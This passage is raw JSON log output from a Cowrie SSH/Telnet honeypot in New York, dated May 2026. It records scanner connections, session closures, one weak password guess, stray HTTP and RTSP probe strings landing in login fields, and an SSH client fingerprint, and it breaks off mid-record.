{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:16.053676Z","src_ip":"80.94.92.186","session":"c52501fc9244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:17.265834Z","src_ip":"80.94.92.186","session":"c52501fc9244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.93743681907654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:07:37.951408Z","src_ip":"69.6.249.0","session":"0365265f3e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":47744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5c4cc5482b","protocol":"telnet","message":"New connection: 35.195.67.0:47744 (10.17.0.5:23) [session: 4f5c4cc5482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:18.483532Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":47754,"dst_ip":"10.17.0.5","dst_port":23,"session":"2834c050da13","protocol":"telnet","message":"New connection: 35.195.67.0:47754 (10.17.0.5:23) [session: 2834c050da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:18.638657Z"}
{"eventid":"cowrie.session.closed","duration":0.005556583404541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:18.644083Z","src_ip":"35.195.67.0","session":"2834c050da13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":47770,"dst_ip":"10.17.0.5","dst_port":23,"session":"93cf38f6f8ce","protocol":"telnet","message":"New connection: 35.195.67.0:47770 (10.17.0.5:23) [session: 93cf38f6f8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:18.793594Z"}
{"eventid":"cowrie.session.closed","duration":15.743918657302856,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:34.227306Z","src_ip":"35.195.67.0","session":"4f5c4cc5482b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25448,"dst_ip":"10.17.0.5","dst_port":23,"session":"a732aa2c954c","protocol":"telnet","message":"New connection: 35.195.67.0:25448 (10.17.0.5:23) [session: a732aa2c954c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:37.949064Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:37.954052Z","src_ip":"35.195.67.0","session":"a732aa2c954c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:37.960598Z","src_ip":"35.195.67.0","session":"a732aa2c954c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09012198448181152,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.039053Z","src_ip":"35.195.67.0","session":"a732aa2c954c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25450,"dst_ip":"10.17.0.5","dst_port":23,"session":"983e823e01dd","protocol":"telnet","message":"New connection: 35.195.67.0:25450 (10.17.0.5:23) [session: 983e823e01dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.113777Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25456,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9aec559dd89","protocol":"telnet","message":"New connection: 35.195.67.0:25456 (10.17.0.5:23) [session: b9aec559dd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.267677Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25468,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be9db7adf17","protocol":"telnet","message":"New connection: 35.195.67.0:25468 (10.17.0.5:23) [session: 3be9db7adf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.421847Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25470,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33c60c8aa18","protocol":"telnet","message":"New connection: 35.195.67.0:25470 (10.17.0.5:23) [session: f33c60c8aa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.575986Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25472,"dst_ip":"10.17.0.5","dst_port":23,"session":"32d9711cbb2b","protocol":"telnet","message":"New connection: 35.195.67.0:25472 (10.17.0.5:23) [session: 32d9711cbb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.731914Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec753488ac75","protocol":"telnet","message":"New connection: 35.195.67.0:25478 (10.17.0.5:23) [session: ec753488ac75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:38.887147Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25484,"dst_ip":"10.17.0.5","dst_port":23,"session":"320d222aec95","protocol":"telnet","message":"New connection: 35.195.67.0:25484 (10.17.0.5:23) [session: 320d222aec95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.044048Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25494,"dst_ip":"10.17.0.5","dst_port":23,"session":"08972f7c4276","protocol":"telnet","message":"New connection: 35.195.67.0:25494 (10.17.0.5:23) [session: 08972f7c4276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.200313Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25498,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2660ba451f","protocol":"telnet","message":"New connection: 35.195.67.0:25498 (10.17.0.5:23) [session: 2f2660ba451f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.358298Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25514,"dst_ip":"10.17.0.5","dst_port":23,"session":"db5c8e1c1dea","protocol":"telnet","message":"New connection: 35.195.67.0:25514 (10.17.0.5:23) [session: db5c8e1c1dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.586496Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":25516,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c65f2c627ca","protocol":"telnet","message":"New connection: 35.195.67.0:25516 (10.17.0.5:23) [session: 0c65f2c627ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.740846Z"}
{"eventid":"cowrie.session.closed","duration":0.005543708801269531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.746244Z","src_ip":"35.195.67.0","session":"0c65f2c627ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60596,"dst_ip":"10.17.0.5","dst_port":23,"session":"990874c22e65","protocol":"telnet","message":"New connection: 35.195.67.0:60596 (10.17.0.5:23) [session: 990874c22e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:39.896238Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60610,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe169accab2","protocol":"telnet","message":"New connection: 35.195.67.0:60610 (10.17.0.5:23) [session: dbe169accab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.052647Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25de08b215a","protocol":"telnet","message":"New connection: 35.195.67.0:60616 (10.17.0.5:23) [session: d25de08b215a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.207259Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60626,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc60ecfe3c5","protocol":"telnet","message":"New connection: 35.195.67.0:60626 (10.17.0.5:23) [session: 4bc60ecfe3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.362965Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c9995fe9774","protocol":"telnet","message":"New connection: 35.195.67.0:60642 (10.17.0.5:23) [session: 3c9995fe9774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.517210Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60648,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf61e81bde3f","protocol":"telnet","message":"New connection: 35.195.67.0:60648 (10.17.0.5:23) [session: bf61e81bde3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.673592Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60654,"dst_ip":"10.17.0.5","dst_port":23,"session":"e199ea7660fb","protocol":"telnet","message":"New connection: 35.195.67.0:60654 (10.17.0.5:23) [session: e199ea7660fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.831218Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60668,"dst_ip":"10.17.0.5","dst_port":23,"session":"db7397810817","protocol":"telnet","message":"New connection: 35.195.67.0:60668 (10.17.0.5:23) [session: db7397810817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:40.987301Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6de9b8dcf7e","protocol":"telnet","message":"New connection: 35.195.67.0:60682 (10.17.0.5:23) [session: b6de9b8dcf7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.140921Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.145824Z","src_ip":"35.195.67.0","session":"b6de9b8dcf7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60694,"dst_ip":"10.17.0.5","dst_port":23,"session":"c34b6e3249aa","protocol":"telnet","message":"New connection: 35.195.67.0:60694 (10.17.0.5:23) [session: c34b6e3249aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.298558Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"806a479f0420","protocol":"telnet","message":"New connection: 35.195.67.0:60706 (10.17.0.5:23) [session: 806a479f0420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.452873Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60722,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fed19e3c2b","protocol":"telnet","message":"New connection: 35.195.67.0:60722 (10.17.0.5:23) [session: 05fed19e3c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.606698Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60724,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e3cb5f28ec","protocol":"telnet","message":"New connection: 35.195.67.0:60724 (10.17.0.5:23) [session: 19e3cb5f28ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.761586Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60736,"dst_ip":"10.17.0.5","dst_port":23,"session":"633f90cb3a99","protocol":"telnet","message":"New connection: 35.195.67.0:60736 (10.17.0.5:23) [session: 633f90cb3a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:41.918407Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2833b962d3","protocol":"telnet","message":"New connection: 35.195.67.0:60746 (10.17.0.5:23) [session: 0c2833b962d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:42.076354Z"}
{"eventid":"cowrie.session.closed","duration":0.004801511764526367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:42.081019Z","src_ip":"35.195.67.0","session":"0c2833b962d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60756,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c7ed77a012","protocol":"telnet","message":"New connection: 35.195.67.0:60756 (10.17.0.5:23) [session: 40c7ed77a012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:42.231605Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.67.0","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1166b132b98","protocol":"telnet","message":"New connection: 35.195.67.0:60772 (10.17.0.5:23) [session: e1166b132b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:42.387891Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 5868","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 5868] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:42.393131Z","src_ip":"35.195.67.0","session":"e1166b132b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.071568012237549,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.459358Z","src_ip":"35.195.67.0","session":"e1166b132b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.232007265090942,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.463468Z","src_ip":"35.195.67.0","session":"40c7ed77a012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.705156087875366,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.466600Z","src_ip":"35.195.67.0","session":"19e3cb5f28ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.551629066467285,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.469913Z","src_ip":"35.195.67.0","session":"633f90cb3a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.868230104446411,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.474796Z","src_ip":"35.195.67.0","session":"05fed19e3c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.181220769882202,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.479669Z","src_ip":"35.195.67.0","session":"c34b6e3249aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.03035569190979,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.483077Z","src_ip":"35.195.67.0","session":"806a479f0420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.345656633377075,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.486450Z","src_ip":"35.195.67.0","session":"b6de9b8dcf7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.502921104431152,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.490100Z","src_ip":"35.195.67.0","session":"db7397810817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.66259241104126,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.493669Z","src_ip":"35.195.67.0","session":"e199ea7660fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.97950267791748,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.496565Z","src_ip":"35.195.67.0","session":"3c9995fe9774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.292418003082275,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.499532Z","src_ip":"35.195.67.0","session":"d25de08b215a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.829123735427856,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.502585Z","src_ip":"35.195.67.0","session":"bf61e81bde3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.142893075942993,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.505718Z","src_ip":"35.195.67.0","session":"4bc60ecfe3c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.621795654296875,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.517895Z","src_ip":"35.195.67.0","session":"990874c22e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.468852281570435,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.521372Z","src_ip":"35.195.67.0","session":"dbe169accab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.938585042953491,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.524930Z","src_ip":"35.195.67.0","session":"db5c8e1c1dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.16994547843933,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.528117Z","src_ip":"35.195.67.0","session":"2f2660ba451f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.3312885761261,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.531489Z","src_ip":"35.195.67.0","session":"08972f7c4276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.64789628982544,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.534938Z","src_ip":"35.195.67.0","session":"ec753488ac75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.494086742401123,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.538032Z","src_ip":"35.195.67.0","session":"320d222aec95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.96189880371094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.755383Z","src_ip":"35.195.67.0","session":"93cf38f6f8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.027584075927734,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.759364Z","src_ip":"35.195.67.0","session":"32d9711cbb2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.187564849853516,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.763420Z","src_ip":"35.195.67.0","session":"f33c60c8aa18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.34520649909973,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.766978Z","src_ip":"35.195.67.0","session":"3be9db7adf17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.50317144393921,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.770724Z","src_ip":"35.195.67.0","session":"b9aec559dd89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.661553859710693,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:08:55.775199Z","src_ip":"35.195.67.0","session":"983e823e01dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46312,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5649c84515","protocol":"telnet","message":"New connection: 69.6.249.0:46312 (159.203.135.109:23) [session: 1a5649c84515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:09:07.043620Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50912,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce809728283","protocol":"telnet","message":"New connection: 69.6.249.0:50912 (159.203.135.109:23) [session: bce809728283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:09:36.315309Z"}
{"eventid":"cowrie.session.closed","duration":31.741600275039673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:09:38.785099Z","src_ip":"69.6.249.0","session":"1a5649c84515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40654,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9aaef9b6255","protocol":"ssh","message":"New connection: 103.15.226.202:40654 (10.17.0.5:22) [session: b9aaef9b6255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:06.511733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:10:06.516884Z","src_ip":"103.15.226.202","session":"b9aaef9b6255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 